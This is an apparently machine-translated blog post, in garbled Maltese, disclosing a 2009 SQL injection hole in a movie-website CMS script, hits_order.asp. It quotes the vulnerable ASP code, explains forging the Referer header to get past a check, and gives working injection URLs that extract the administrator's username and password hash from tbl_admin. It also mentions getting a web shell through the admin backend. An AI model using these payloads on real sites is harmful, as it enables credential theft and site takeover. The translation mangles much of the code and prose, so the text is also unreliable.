Għajnejn jum film sistema 0DAY-0day, hits_order.asp,, sistema ta 'injezzjoni film għajnejn jum, st0p-blog

Għajnejn jum 0DAY sistema film

Din l-entrata tpoġġa fuq Ottubru 25, 2009

: St0p & My5t3ry
Riprodotti, jekk jogħġbok indika l http://www.st0p.org sors

Oh, u My5t3ry toħroġ il-toqba, ikkuntattja l-amministratur uffiċjali, sar l-ebda attenzjoni lili.

Ewwel, let me tinjetta l-problema

Il-lakuna fajl / p_inc / hits_order.asp

  <-! # Jinkludu fajl = ".. / P_inc / config.asp" ->
 <-! # Jinkludu fajl = ".. / P_inc / function.asp" ->
 <-! # Jinkludu fajl = ".. / P_inc / function_func.asp" ->
 <-! # Jinkludu fajl = ".. / P_inc / openconn.asp" ->
 <-! # Jinkludu fajl = ".. / P_inc / G_function.asp" ->
 <%
 Then JEKK Mhux ChkPost () Imbagħad
	 G_error_page_1 rispons. riindirizz G_error_page_1
	 ( ) Tmiem rispons ()
 Tmiem JEKK
 "Sejħa ChkPost l / p_inc / function.asp fajl () funzjoni għall-individwazzjoni ikteb sors
 url,numb ) Funzjoni G_hitss (URL, numb)
	 Dim str
	 str = ""
	 & numb & " id,m_name,m_pic,m_hits,m_content from qingtiandy_movie where m_look=1 order by m_hits desc,id desc" sql = "top agħżel" & numb & "id, m_name, m_pic, m_hits, m_content minn qingtiandy_movie fejn m_look = 1 ordni billi m_hits desc, id desc"
             "Rajt ma numb, l-ebda filtru
	 server . CreateObject ( G_RS ) Sett rs = server. CreateObject (G_RS)
	 , 1 rs. miftuħa sql, conn, 1, 1
	 i = 1
	 Jagħmlu l-Filwaqt Mhux rs. EOF 
		 Array ( "d" ,rs ( 0 ) ,url ) ) d_url = url_ (Array ("d", rs (0), url))
		 "<div class=kkk1_list><a class=bbb href=" & d_url & " title='主演：" & rs ( 2 ) & "'>" & Get_length ( rs ( 1 ) , "" , 32 ) & "</a> (" & rs ( 3 ) & ")</div>" str = il-str & "l <div <a class=kkk1_list> class=bbb href=" & d_url &" title='主演:" & rs (2) & "'>" & Get_length (rs (1), "", 32) u "</ a> (" & rs (3) & ") </ div>
		 i = i + 1
		 rs. movenext
	 Loop
	 G_hitss str =
 Funzjoni Tmiem
 %>
 G_hitss ( request ( "url" ) , request ( "numb" ) ) %> ") document.write ("<% = G_hitss (talba (" url "), talba (" numb "))%>")
 "Hawnhekk numb filtru

L-użu ta 'metodi bħal
1, inti tista 'direttament jużaw il-Referer softwer falsifikati, żur il-indirizz li ġej biex tinkiseb
Permezz XMLHTTP falsifikati l Referer, żur l-implimentazzjoni indirizz li ġej
3, minn JS JavaScript biex jikkontrollaw il-URL sors

  ( "<a href='/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,'>科幻片</a> " ) ; javascript:. dokument li l-write (<a href='/p_inc/hits_order.asp?numb=1 (select str_username minn tbl_admin) bħala username,(select str_pass minn tbl_admin) bħala pass,'> fantaxjenza </ a> ") ;

http://www.st0p.org/p_inc/hits_order.asp?numb=1 (str_username agħżel minn tbl_admin) bħala username, (str_pass agħżel minn tbl_admin) bħala pass,

Nota: li tiżdied fuq l-Referer-iskoperta tista 'tkun permezz tal-POST, IKOLLOK, il-cookie ta' varjetà ta 'modi biex jinkiseb injettat. . .

Aċċess għal dawn li ġejjin, il-username amministratur fil-URL tal-link, il-HASH password murija direttament barra. .

Jitwaqqaf l-HASH password minħabba l-isfond tista 'direttament jeditjaw il-fajl ASP, fl-isfond u jieħdu l-linja QOXRA.

Din il-proċedura, hemm lakuni oħra. Hawnhekk ma ssirx. .